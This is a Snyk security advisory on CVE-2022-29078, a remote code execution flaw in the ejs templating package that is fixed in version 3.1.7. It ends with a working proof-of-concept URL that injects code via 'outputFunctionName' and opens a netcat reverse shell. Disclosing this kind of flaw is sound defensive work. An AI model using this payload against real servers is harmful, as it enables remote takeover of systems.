Attack Complexity High
Exploit Maturity Proof of concept
EPSS 1.93% (87th percentile)
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- Snyk ID SNYK-JS-EJS-2803307
- published 26 Apr 2022
- disclosed 26 Apr 2022
- credit evi0s
Introduced: 26 Apr 2022CVE-2022-29078 Open this link in a new tab
CWE-94 Open this link in a new tab
How to fix?
ejs to version 3.1.7 or higher.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the
view options parameter of
renderFile, which makes it possible to inject code into
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s